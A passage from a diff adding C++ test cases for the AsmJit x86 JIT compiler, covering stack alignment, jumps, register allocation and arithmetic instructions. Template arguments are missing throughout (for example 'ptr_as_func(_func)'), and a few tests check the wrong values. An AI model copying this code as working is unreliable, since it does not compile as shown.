test->compile(cc); + + Error err = cc.finalize(); + void* func; + + if (err == kErrorOk) + err = runtime.add(&func, &code); + if (_verbose) fflush(file); + + if (err == kErrorOk) { + StringBuilder result; + StringBuilder expect; + + if (test->run(func, result, expect)) { + fprintf(file, "[Success] %s.\n", test->getName()); + } + else { +#if !defined(ASMJIT_DISABLE_LOGGING) + if (!_verbose) + fprintf(file, "\n%s", stringLogger.getString()); +#endif // ASMJIT_DISABLE_LOGGING + + fprintf(file, "-------------------------------------------------------------------------------\n"); + fprintf(file, "[Failure] %s.\n", test->getName()); + fprintf(file, "-------------------------------------------------------------------------------\n"); + fprintf(file, "Result : %s\n", result.getData()); + fprintf(file, "Expected: %s\n", expect.getData()); + fprintf(file, "===============================================================================\n"); + + _returnCode = 1; + } + + runtime.release(func); + } + else { +#if !defined(ASMJIT_DISABLE_LOGGING) + if (!_verbose) + fprintf(file, "%s\n", stringLogger.getString()); +#endif // ASMJIT_DISABLE_LOGGING + + fprintf(file, "-------------------------------------------------------------------------------\n"); + fprintf(file, "[Failure] %s (%s).\n", test->getName(), DebugUtils::errorAsString(err)); + fprintf(file, "===============================================================================\n"); + + _returnCode = 1; + } + + fflush(file); + } + + fputs("\n", file); + fputs(_output.getData(), file); + fflush(file); + + return _returnCode; +} + +// ============================================================================ +// [X86Test_AlignBase] +// ============================================================================ + +class X86Test_AlignBase : public X86Test { +public: + X86Test_AlignBase(uint32_t numArgs, uint32_t numVars, uint32_t alignment, bool naked) : + _numArgs(numArgs), + _numVars(numVars), + _alignment(alignment), + _naked(naked) { + + _name.setFormat("[Align] NumArgs=%u NumVars=%u Alignment=%u Naked=%c", + numArgs, numVars, alignment, naked ? 'Y' : 'N'); + } + + static void add(X86TestManager& mgr) { + for (uint32_t i = 0; i <= 8; i++) { + for (uint32_t j = 0; j <= 4; j++) { + for (uint32_t a = 16; a <= 32; a += 16) { + mgr.add(new X86Test_AlignBase(i, j, a, false)); + mgr.add(new X86Test_AlignBase(i, j, a, true)); + } + } + } + } + + virtual void compile(X86Compiler& cc) { + switch (_numArgs) { + case 0: cc.addFunc(FuncSignature0(CallConv::kIdHost)); break; + case 1: cc.addFunc(FuncSignature1(CallConv::kIdHost)); break; + case 2: cc.addFunc(FuncSignature2(CallConv::kIdHost)); break; + case 3: cc.addFunc(FuncSignature3(CallConv::kIdHost)); break; + case 4: cc.addFunc(FuncSignature4(CallConv::kIdHost)); break; + case 5: cc.addFunc(FuncSignature5(CallConv::kIdHost)); break; + case 6: cc.addFunc(FuncSignature6(CallConv::kIdHost)); break; + case 7: cc.addFunc(FuncSignature7(CallConv::kIdHost)); break; + case 8: cc.addFunc(FuncSignature8(CallConv::kIdHost)); break; + } + + if (!_naked) + cc.getFunc()->getFrameInfo().enablePreservedFP(); + + X86Gp gpVar = cc.newIntPtr("gpVar"); + X86Gp gpSum = cc.newInt32("gpSum"); + X86Mem stack = cc.newStack(_alignment, _alignment); + + // Alloc, use and spill preserved registers. + if (_numVars) { + uint32_t gpCount = cc.getGpCount(); + uint32_t varIndex = 0; + uint32_t physId = 0; + uint32_t regMask = 0x1; + uint32_t preservedMask = cc.getFunc()->getDetail().getPreservedRegs(Reg::kKindGp); + + do { + if ((preservedMask & regMask) != 0 && (physId != X86Gp::kIdSp && physId != X86Gp::kIdBp)) { + X86Gp tmp = cc.newInt32("gpTmp%u", physId); + cc.alloc(tmp, physId); + cc.xor_(tmp, tmp); + cc.spill(tmp); + varIndex++; + } + + physId++; + regMask <<= 1; + } while (varIndex < _numVars && physId < gpCount); + } + + // Do a sum of arguments to verify a possible relocation when misaligned. + if (_numArgs) { + cc.xor_(gpSum, gpSum); + for (uint32_t argIndex = 0; argIndex < _numArgs; argIndex++) { + X86Gp gpArg = cc.newInt32("gpArg%u", argIndex); + + cc.setArg(argIndex, gpArg); + cc.add(gpSum, gpArg); + } + } + + // Check alignment of xmmVar (has to be 16). + cc.lea(gpVar, stack); + cc.and_(gpVar, _alignment - 1); + + // Add a sum of arguments to check whether they are correct. + if (_numArgs) + cc.or_(gpVar.r32(), gpSum); + + cc.ret(gpVar); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func0)(); + typedef int (*Func1)(int); + typedef int (*Func2)(int, int); + typedef int (*Func3)(int, int, int); + typedef int (*Func4)(int, int, int, int); + typedef int (*Func5)(int, int, int, int, int); + typedef int (*Func6)(int, int, int, int, int, int); + typedef int (*Func7)(int, int, int, int, int, int, int); + typedef int (*Func8)(int, int, int, int, int, int, int, int); + + unsigned int resultRet = 0; + unsigned int expectRet = 0; + + switch (_numArgs) { + case 0: + resultRet = ptr_as_func(_func)(); + expectRet = 0; + break; + case 1: + resultRet = ptr_as_func(_func)(1); + expectRet = 1; + break; + case 2: + resultRet = ptr_as_func(_func)(1, 2); + expectRet = 1 + 2; + break; + case 3: + resultRet = ptr_as_func(_func)(1, 2, 3); + expectRet = 1 + 2 + 3; + break; + case 4: + resultRet = ptr_as_func(_func)(1, 2, 3, 4); + expectRet = 1 + 2 + 3 + 4; + break; + case 5: + resultRet = ptr_as_func(_func)(1, 2, 3, 4, 5); + expectRet = 1 + 2 + 3 + 4 + 5; + break; + case 6: + resultRet = ptr_as_func(_func)(1, 2, 3, 4, 5, 6); + expectRet = 1 + 2 + 3 + 4 + 5 + 6; + break; + case 7: + resultRet = ptr_as_func(_func)(1, 2, 3, 4, 5, 6, 7); + expectRet = 1 + 2 + 3 + 4 + 5 + 6 + 7; + break; + case 8: + resultRet = ptr_as_func(_func)(1, 2, 3, 4, 5, 6, 7, 8); + expectRet = 1 + 2 + 3 + 4 + 5 + 6 + 7 + 8; + break; + } + + result.setFormat("ret={%u, %u}", resultRet >> 28, resultRet & 0x0FFFFFFFU); + expect.setFormat("ret={%u, %u}", expectRet >> 28, expectRet & 0x0FFFFFFFU); + + return resultRet == expectRet; + } + + uint32_t _numArgs; + uint32_t _numVars; + uint32_t _alignment; + + bool _naked; +}; + +// ============================================================================ +// [X86Test_AlignNone] +// ============================================================================ + +class X86Test_AlignNone : public X86Test { +public: + X86Test_AlignNone() : X86Test("[Align] None") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AlignNone()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature0(CallConv::kIdHost)); + cc.align(kAlignCode, 0); + cc.align(kAlignCode, 1); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef void (*Func)(void); + Func func = ptr_as_func(_func); + + func(); + return true; + } +}; + +// ============================================================================ +// [X86Test_JumpCross] +// ============================================================================ + +class X86Test_JumpCross : public X86Test { +public: + X86Test_JumpCross() : X86Test("[Jump] Cross jump") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_JumpCross()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature0(CallConv::kIdHost)); + + Label L1 = cc.newLabel(); + Label L2 = cc.newLabel(); + Label L3 = cc.newLabel(); + + cc.jmp(L2); + + cc.bind(L1); + cc.jmp(L3); + + cc.bind(L2); + cc.jmp(L1); + + cc.bind(L3); + + cc.ret(); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef void (*Func)(void); + Func func = ptr_as_func(_func); + + func(); + return true; + } +}; + +// ============================================================================ +// [X86Test_JumpMany] +// ============================================================================ + +class X86Test_JumpMany : public X86Test { +public: + X86Test_JumpMany() : X86Test("[Jump] Many jumps") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_JumpMany()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature0(CallConv::kIdHost)); + for (uint32_t i = 0; i < 1000; i++) { + Label L = cc.newLabel(); + cc.jmp(L); + cc.bind(L); + } + + X86Gp ret = cc.newInt32("ret"); + cc.xor_(ret, ret); + cc.ret(ret); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(void); + + Func func = ptr_as_func(_func); + + int resultRet = func(); + int expectRet = 0; + + result.setFormat("ret={%d}", resultRet); + expect.setFormat("ret={%d}", expectRet); + + return resultRet == expectRet; + } +}; + +// ============================================================================ +// [X86Test_JumpUnreachable1] +// ============================================================================ + +class X86Test_JumpUnreachable1 : public X86Test { +public: + X86Test_JumpUnreachable1() : X86Test("[Jump] Unreachable #1") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_JumpUnreachable1()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature0(CallConv::kIdHost)); + + Label L_1 = cc.newLabel(); + Label L_2 = cc.newLabel(); + Label L_3 = cc.newLabel(); + Label L_4 = cc.newLabel(); + Label L_5 = cc.newLabel(); + Label L_6 = cc.newLabel(); + Label L_7 = cc.newLabel(); + + X86Gp v0 = cc.newUInt32("v0"); + X86Gp v1 = cc.newUInt32("v1"); + + cc.bind(L_2); + cc.bind(L_3); + + cc.jmp(L_1); + + cc.bind(L_5); + cc.mov(v0, 0); + + cc.bind(L_6); + cc.jmp(L_3); + cc.mov(v1, 1); + cc.jmp(L_1); + + cc.bind(L_4); + cc.jmp(L_2); + cc.bind(L_7); + cc.add(v0, v1); + + cc.align(kAlignCode, 16); + cc.bind(L_1); + cc.ret(); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef void (*Func)(void); + Func func = ptr_as_func(_func); + + func(); + + result.appendString("ret={}"); + expect.appendString("ret={}"); + + return true; + } +}; + +// ============================================================================ +// [X86Test_JumpUnreachable2] +// ============================================================================ + +class X86Test_JumpUnreachable2 : public X86Test { +public: + X86Test_JumpUnreachable2() : X86Test("[Jump] Unreachable #2") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_JumpUnreachable2()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature0(CallConv::kIdHost)); + + Label L_1 = cc.newLabel(); + Label L_2 = cc.newLabel(); + + X86Gp v0 = cc.newUInt32("v0"); + X86Gp v1 = cc.newUInt32("v1"); + + cc.jmp(L_1); + cc.bind(L_2); + cc.mov(v0, 1); + cc.mov(v1, 2); + cc.cmp(v0, v1); + cc.jz(L_2); + cc.jmp(L_1); + + cc.bind(L_1); + cc.ret(); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef void (*Func)(void); + Func func = ptr_as_func(_func); + + func(); + + result.appendString("ret={}"); + expect.appendString("ret={}"); + + return true; + } +}; + +// ============================================================================ +// [X86Test_AllocBase] +// ============================================================================ + +class X86Test_AllocBase : public X86Test { +public: + X86Test_AllocBase() : X86Test("[Alloc] Base") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocBase()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature0(CallConv::kIdHost)); + + X86Gp v0 = cc.newInt32("v0"); + X86Gp v1 = cc.newInt32("v1"); + X86Gp v2 = cc.newInt32("v2"); + X86Gp v3 = cc.newInt32("v3"); + X86Gp v4 = cc.newInt32("v4"); + + cc.xor_(v0, v0); + + cc.mov(v1, 1); + cc.mov(v2, 2); + cc.mov(v3, 3); + cc.mov(v4, 4); + + cc.add(v0, v1); + cc.add(v0, v2); + cc.add(v0, v3); + cc.add(v0, v4); + + cc.ret(v0); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(void); + Func func = ptr_as_func(_func); + + int resultRet = func(); + int expectRet = 1 + 2 + 3 + 4; + + result.setFormat("ret=%d", resultRet); + expect.setFormat("ret=%d", expectRet); + + return resultRet == expectRet; + } +}; + +// ============================================================================ +// [X86Test_AllocManual] +// ============================================================================ + +class X86Test_AllocManual : public X86Test { +public: + X86Test_AllocManual() : X86Test("[Alloc] Manual alloc/spill") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocManual()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature0(CallConv::kIdHost)); + + X86Gp v0 = cc.newInt32("v0"); + X86Gp v1 = cc.newInt32("v1"); + X86Gp cnt = cc.newInt32("cnt"); + + cc.xor_(v0, v0); + cc.xor_(v1, v1); + cc.spill(v0); + cc.spill(v1); + + Label L = cc.newLabel(); + cc.mov(cnt, 32); + cc.bind(L); + + cc.inc(v1); + cc.add(v0, v1); + + cc.dec(cnt); + cc.jnz(L); + + cc.ret(v0); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(void); + Func func = ptr_as_func(_func); + + int resultRet = func(); + int expectRet = + 0 + 1 + 2 + 3 + 4 + 5 + 6 + 7 + 8 + 9 + + 10 + 11 + 12 + 13 + 14 + 15 + 16 + 17 + 18 + 19 + + 20 + 21 + 22 + 23 + 24 + 25 + 26 + 27 + 28 + 29 + + 30 + 31 + 32; + + result.setFormat("ret=%d", resultRet); + expect.setFormat("ret=%d", expectRet); + + return resultRet == expectRet; + } +}; + +// ============================================================================ +// [X86Test_AllocUseMem] +// ============================================================================ + +class X86Test_AllocUseMem : public X86Test { +public: + X86Test_AllocUseMem() : X86Test("[Alloc] Alloc/use mem") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocUseMem()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature2(CallConv::kIdHost)); + + X86Gp iIdx = cc.newInt32("iIdx"); + X86Gp iEnd = cc.newInt32("iEnd"); + + X86Gp aIdx = cc.newInt32("aIdx"); + X86Gp aEnd = cc.newInt32("aEnd"); + + Label L_1 = cc.newLabel(); + + cc.setArg(0, aIdx); + cc.setArg(1, aEnd); + + cc.mov(iIdx, aIdx); + cc.mov(iEnd, aEnd); + cc.spill(iEnd); + + cc.bind(L_1); + cc.inc(iIdx); + cc.cmp(iIdx, iEnd.m()); + cc.jne(L_1); + + cc.ret(iIdx); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(int, int); + Func func = ptr_as_func(_func); + + int resultRet = func(10, 20); + int expectRet = 20; + + result.setFormat("ret=%d", resultRet); + expect.setFormat("ret=%d", expectRet); + + return resultRet == expectRet; + } +}; + +// ============================================================================ +// [X86Test_AllocMany1] +// ============================================================================ + +class X86Test_AllocMany1 : public X86Test { +public: + X86Test_AllocMany1() : X86Test("[Alloc] Many #1") {} + + enum { kCount = 8 }; + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocMany1()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature2(CallConv::kIdHost)); + + X86Gp a0 = cc.newIntPtr("a0"); + X86Gp a1 = cc.newIntPtr("a1"); + + cc.setArg(0, a0); + cc.setArg(1, a1); + + // Create some variables. + X86Gp t = cc.newInt32("t"); + X86Gp x[kCount]; + + uint32_t i; + for (i = 0; i < kCount; i++) { + x[i] = cc.newInt32("x%u", i); + } + + // Setup variables (use mov with reg/imm to se if register allocator works). + for (i = 0; i < kCount; i++) { + cc.mov(x[i], static_cast(i + 1)); + } + + // Make sum (addition). + cc.xor_(t, t); + for (i = 0; i < kCount; i++) { + cc.add(t, x[i]); + } + + // Store result to a given pointer in first argument. + cc.mov(x86::dword_ptr(a0), t); + + // Clear t. + cc.xor_(t, t); + + // Make sum (subtraction). + for (i = 0; i < kCount; i++) { + cc.sub(t, x[i]); + } + + // Store result to a given pointer in second argument. + cc.mov(x86::dword_ptr(a1), t); + + // End of function. + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef void (*Func)(int*, int*); + Func func = ptr_as_func(_func); + + int resultX; + int resultY; + + int expectX = 36; + int expectY = -36; + + func(&resultX, &resultY); + + result.setFormat("ret={x=%d, y=%d}", resultX, resultY); + expect.setFormat("ret={x=%d, y=%d}", expectX, expectY); + + return resultX == expectX && resultY == expectY; + } +}; + +// ============================================================================ +// [X86Test_AllocMany2] +// ============================================================================ + +class X86Test_AllocMany2 : public X86Test { +public: + X86Test_AllocMany2() : X86Test("[Alloc] Many #2") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocMany2()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature1(CallConv::kIdHost)); + + X86Gp var[32]; + X86Gp a = cc.newIntPtr("a"); + + cc.setArg(0, a); + + int i; + for (i = 0; i < ASMJIT_ARRAY_SIZE(var); i++) { + var[i] = cc.newInt32("var[%d]", i); + } + + for (i = 0; i < ASMJIT_ARRAY_SIZE(var); i++) { + cc.xor_(var[i], var[i]); + } + + X86Gp v0 = cc.newInt32("v0"); + Label L = cc.newLabel(); + + cc.mov(v0, 32); + cc.bind(L); + + for (i = 0; i < ASMJIT_ARRAY_SIZE(var); i++) { + cc.add(var[i], i); + } + + cc.dec(v0); + cc.jnz(L); + + for (i = 0; i < ASMJIT_ARRAY_SIZE(var); i++) { + cc.mov(x86::dword_ptr(a, i * 4), var[i]); + } + + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef void (*Func)(int*); + Func func = ptr_as_func(_func); + + int i; + int resultBuf[32]; + int expectBuf[32]; + + for (i = 0; i < ASMJIT_ARRAY_SIZE(resultBuf); i++) { + expectBuf[i] = i * 32; + } + + bool success = true; + func(resultBuf); + + for (i = 0; i < ASMJIT_ARRAY_SIZE(resultBuf); i++) { + result.appendFormat("%d", resultBuf[i]); + expect.appendFormat("%d", expectBuf[1]); + + success &= (resultBuf[i] == expectBuf[i]); + } + + return success; + } +}; + +// ============================================================================ +// [X86Test_AllocImul1] +// ============================================================================ + +class X86Test_AllocImul1 : public X86Test { +public: + X86Test_AllocImul1() : X86Test("[Alloc] IMUL #1") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocImul1()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature4(CallConv::kIdHost)); + + X86Gp dstHi = cc.newIntPtr("dstHi"); + X86Gp dstLo = cc.newIntPtr("dstLo"); + + X86Gp vHi = cc.newInt32("vHi"); + X86Gp vLo = cc.newInt32("vLo"); + X86Gp src = cc.newInt32("src"); + + cc.setArg(0, dstHi); + cc.setArg(1, dstLo); + cc.setArg(2, vLo); + cc.setArg(3, src); + + cc.imul(vHi, vLo, src); + + cc.mov(x86::dword_ptr(dstHi), vHi); + cc.mov(x86::dword_ptr(dstLo), vLo); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef void (*Func)(int*, int*, int, int); + Func func = ptr_as_func(_func); + + int v0 = 4; + int v1 = 4; + + int resultHi; + int resultLo; + + int expectHi = 0; + int expectLo = v0 * v1; + + func(&resultHi, &resultLo, v0, v1); + + result.setFormat("hi=%d, lo=%d", resultHi, resultLo); + expect.setFormat("hi=%d, lo=%d", expectHi, expectLo); + + return resultHi == expectHi && resultLo == expectLo; + } +}; + +// ============================================================================ +// [X86Test_AllocImul2] +// ============================================================================ + +class X86Test_AllocImul2 : public X86Test { +public: + X86Test_AllocImul2() : X86Test("[Alloc] IMUL #2") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocImul2()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature2(CallConv::kIdHost)); + + X86Gp dst = cc.newIntPtr("dst"); + X86Gp src = cc.newIntPtr("src"); + + cc.setArg(0, dst); + cc.setArg(1, src); + + for (unsigned int i = 0; i < 4; i++) { + X86Gp x = cc.newInt32("x"); + X86Gp y = cc.newInt32("y"); + X86Gp hi = cc.newInt32("hi"); + + cc.mov(x, x86::dword_ptr(src, 0)); + cc.mov(y, x86::dword_ptr(src, 4)); + + cc.imul(hi, x, y); + cc.add(x86::dword_ptr(dst, 0), hi); + cc.add(x86::dword_ptr(dst, 4), x); + } + + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef void (*Func)(int*, const int*); + Func func = ptr_as_func(_func); + + int src[2] = { 4, 9 }; + int resultRet[2] = { 0, 0 }; + int expectRet[2] = { 0, (4 * 9) * 4 }; + + func(resultRet, src); + + result.setFormat("ret={%d, %d}", resultRet[0], resultRet[1]); + expect.setFormat("ret={%d, %d}", expectRet[0], expectRet[1]); + + return resultRet[0] == expectRet[0] && resultRet[1] == expectRet[1]; + } +}; + +// ============================================================================ +// [X86Test_AllocIdiv1] +// ============================================================================ + +class X86Test_AllocIdiv1 : public X86Test { +public: + X86Test_AllocIdiv1() : X86Test("[Alloc] IDIV #1") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocIdiv1()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature2(CallConv::kIdHost)); + + X86Gp a = cc.newInt32("a"); + X86Gp b = cc.newInt32("b"); + X86Gp dummy = cc.newInt32("dummy"); + + cc.setArg(0, a); + cc.setArg(1, b); + + cc.xor_(dummy, dummy); + cc.idiv(dummy, a, b); + + cc.ret(a); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(int, int); + Func func = ptr_as_func(_func); + + int v0 = 2999; + int v1 = 245; + + int resultRet = func(v0, v1); + int expectRet = 2999 / 245; + + result.setFormat("result=%d", resultRet); + expect.setFormat("result=%d", expectRet); + + return resultRet == expectRet; + } +}; + +// ============================================================================ +// [X86Test_AllocSetz] +// ============================================================================ + +class X86Test_AllocSetz : public X86Test { +public: + X86Test_AllocSetz() : X86Test("[Alloc] SETZ") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocSetz()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature3(CallConv::kIdHost)); + + X86Gp src0 = cc.newInt32("src0"); + X86Gp src1 = cc.newInt32("src1"); + X86Gp dst0 = cc.newIntPtr("dst0"); + + cc.setArg(0, src0); + cc.setArg(1, src1); + cc.setArg(2, dst0); + + cc.cmp(src0, src1); + cc.setz(x86::byte_ptr(dst0)); + + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef void (*Func)(int, int, char*); + Func func = ptr_as_func(_func); + + char resultBuf[4]; + char expectBuf[4] = { 1, 0, 0, 1 }; + + func(0, 0, &resultBuf[0]); // We are expecting 1 (0 == 0). + func(0, 1, &resultBuf[1]); // We are expecting 0 (0 != 1). + func(1, 0, &resultBuf[2]); // We are expecting 0 (1 != 0). + func(1, 1, &resultBuf[3]); // We are expecting 1 (1 == 1). + + result.setFormat("out={%d, %d, %d, %d}", resultBuf[0], resultBuf[1], resultBuf[2], resultBuf[3]); + expect.setFormat("out={%d, %d, %d, %d}", expectBuf[0], expectBuf[1], expectBuf[2], expectBuf[3]); + + return resultBuf[0] == expectBuf[0] && + resultBuf[1] == expectBuf[1] && + resultBuf[2] == expectBuf[2] && + resultBuf[3] == expectBuf[3] ; + } +}; + +// ============================================================================ +// [X86Test_AllocShlRor] +// ============================================================================ + +class X86Test_AllocShlRor : public X86Test { +public: + X86Test_AllocShlRor() : X86Test("[Alloc] SHL/ROR") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocShlRor()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature4(CallConv::kIdHost)); + + X86Gp dst = cc.newIntPtr("dst"); + X86Gp var = cc.newInt32("var"); + X86Gp vShlParam = cc.newInt32("vShlParam"); + X86Gp vRorParam = cc.newInt32("vRorParam"); + + cc.setArg(0, dst); + cc.setArg(1, var); + cc.setArg(2, vShlParam); + cc.setArg(3, vRorParam); + + cc.shl(var, vShlParam); + cc.ror(var, vRorParam); + + cc.mov(x86::dword_ptr(dst), var); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef void (*Func)(int*, int, int, int); + Func func = ptr_as_func(_func); + + int v0 = 0x000000FF; + + int resultRet; + int expectRet = 0x0000FF00; + + func(&resultRet, v0, 16, 8); + + result.setFormat("ret=%d", resultRet); + expect.setFormat("ret=%d", expectRet); + + return resultRet == expectRet; + } +}; + +// ============================================================================ +// [X86Test_AllocGpLo] +// ============================================================================ + +class X86Test_AllocGpLo : public X86Test { +public: + X86Test_AllocGpLo() : X86Test("[Alloc] GPB-LO") {} + + enum { kCount = 32 }; + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocGpLo()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature1(CallConv::kIdHost)); + + X86Gp rPtr = cc.newUIntPtr("rPtr"); + X86Gp rSum = cc.newUInt32("rSum"); + + cc.setArg(0, rPtr); + + X86Gp rVar[kCount]; + uint32_t i; + + for (i = 0; i < kCount; i++) { + rVar[i] = cc.newUInt32("rVar[%u]", i); + } + + // Init pseudo-regs with values from our array. + for (i = 0; i < kCount; i++) { + cc.mov(rVar[i], x86::dword_ptr(rPtr, i * 4)); + } + + for (i = 2; i < kCount; i++) { + // Add and truncate to 8 bit; no purpose, just mess with jit. + cc.add (rVar[i ], rVar[i-1]); + cc.movzx(rVar[i ], rVar[i ].r8()); + cc.movzx(rVar[i-2], rVar[i-1].r8()); + cc.movzx(rVar[i-1], rVar[i-2].r8()); + } + + // Sum up all computed values. + cc.mov(rSum, 0); + for (i = 0; i < kCount; i++) { + cc.add(rSum, rVar[i]); + } + + // Return the sum. + cc.ret(rSum); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(uint32_t*); + Func func = ptr_as_func(_func); + + unsigned int i; + + uint32_t buf[kCount]; + uint32_t resultRet; + uint32_t expectRet; + + expectRet = 0; + for (i = 0; i < kCount; i++) { + buf[i] = 1; + } + + for (i = 2; i < kCount; i++) { + buf[i ]+= buf[i-1]; + buf[i ] = buf[i ] & 0xFF; + buf[i-2] = buf[i-1] & 0xFF; + buf[i-1] = buf[i-2] & 0xFF; + } + + for (i = 0; i < kCount; i++) { + expectRet += buf[i]; + } + + for (i = 0; i < kCount; i++) { + buf[i] = 1; + } + resultRet = func(buf); + + result.setFormat("ret=%d", resultRet); + expect.setFormat("ret=%d", expectRet); + + return resultRet == expectRet; + } +}; + +// ============================================================================ +// [X86Test_AllocRepMovsb] +// ============================================================================ + +class X86Test_AllocRepMovsb : public X86Test { +public: + X86Test_AllocRepMovsb() : X86Test("[Alloc] REP MOVS") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocRepMovsb()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature3(CallConv::kIdHost)); + + X86Gp dst = cc.newIntPtr("dst"); + X86Gp src = cc.newIntPtr("src"); + X86Gp cnt = cc.newIntPtr("cnt"); + + cc.setArg(0, dst); + cc.setArg(1, src); + cc.setArg(2, cnt); + + cc.rep(cnt).movs(x86::byte_ptr(dst), x86::byte_ptr(src)); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef void (*Func)(void*, void*, size_t); + Func func = ptr_as_func(_func); + + char dst[20] = { 0 }; + char src[20] = "Hello AsmJit!"; + func(dst, src, strlen(src) + 1); + + result.setFormat("ret=\"%s\"", dst); + expect.setFormat("ret=\"%s\"", src); + + return result == expect; + } +}; + +// ============================================================================ +// [X86Test_AllocIfElse1] +// ============================================================================ + +class X86Test_AllocIfElse1 : public X86Test { +public: + X86Test_AllocIfElse1() : X86Test("[Alloc] If-Else #1") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocIfElse1()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature2(CallConv::kIdHost)); + + X86Gp v1 = cc.newInt32("v1"); + X86Gp v2 = cc.newInt32("v2"); + + Label L_1 = cc.newLabel(); + Label L_2 = cc.newLabel(); + + cc.setArg(0, v1); + cc.setArg(1, v2); + + cc.cmp(v1, v2); + cc.jg(L_1); + + cc.mov(v1, 1); + cc.jmp(L_2); + + cc.bind(L_1); + cc.mov(v1, 2); + + cc.bind(L_2); + cc.ret(v1); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(int, int); + Func func = ptr_as_func(_func); + + int a = func(0, 1); + int b = func(1, 0); + + result.appendFormat("ret={%d, %d}", a, b); + result.appendFormat("ret={%d, %d}", 1, 2); + + return a == 1 && b == 2; + } +}; + +// ============================================================================ +// [X86Test_AllocIfElse2] +// ============================================================================ + +class X86Test_AllocIfElse2 : public X86Test { +public: + X86Test_AllocIfElse2() : X86Test("[Alloc] If-Else #2") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocIfElse2()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature2(CallConv::kIdHost)); + + X86Gp v1 = cc.newInt32("v1"); + X86Gp v2 = cc.newInt32("v2"); + + Label L_1 = cc.newLabel(); + Label L_2 = cc.newLabel(); + Label L_3 = cc.newLabel(); + Label L_4 = cc.newLabel(); + + cc.setArg(0, v1); + cc.setArg(1, v2); + + cc.jmp(L_1); + cc.bind(L_2); + cc.jmp(L_4); + cc.bind(L_1); + + cc.cmp(v1, v2); + cc.jg(L_3); + + cc.mov(v1, 1); + cc.jmp(L_2); + + cc.bind(L_3); + cc.mov(v1, 2); + cc.jmp(L_2); + + cc.bind(L_4); + + cc.ret(v1); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(int, int); + Func func = ptr_as_func(_func); + + int a = func(0, 1); + int b = func(1, 0); + + result.appendFormat("ret={%d, %d}", a, b); + result.appendFormat("ret={%d, %d}", 1, 2); + + return a == 1 && b == 2; + } +}; + +// ============================================================================ +// [X86Test_AllocIfElse3] +// 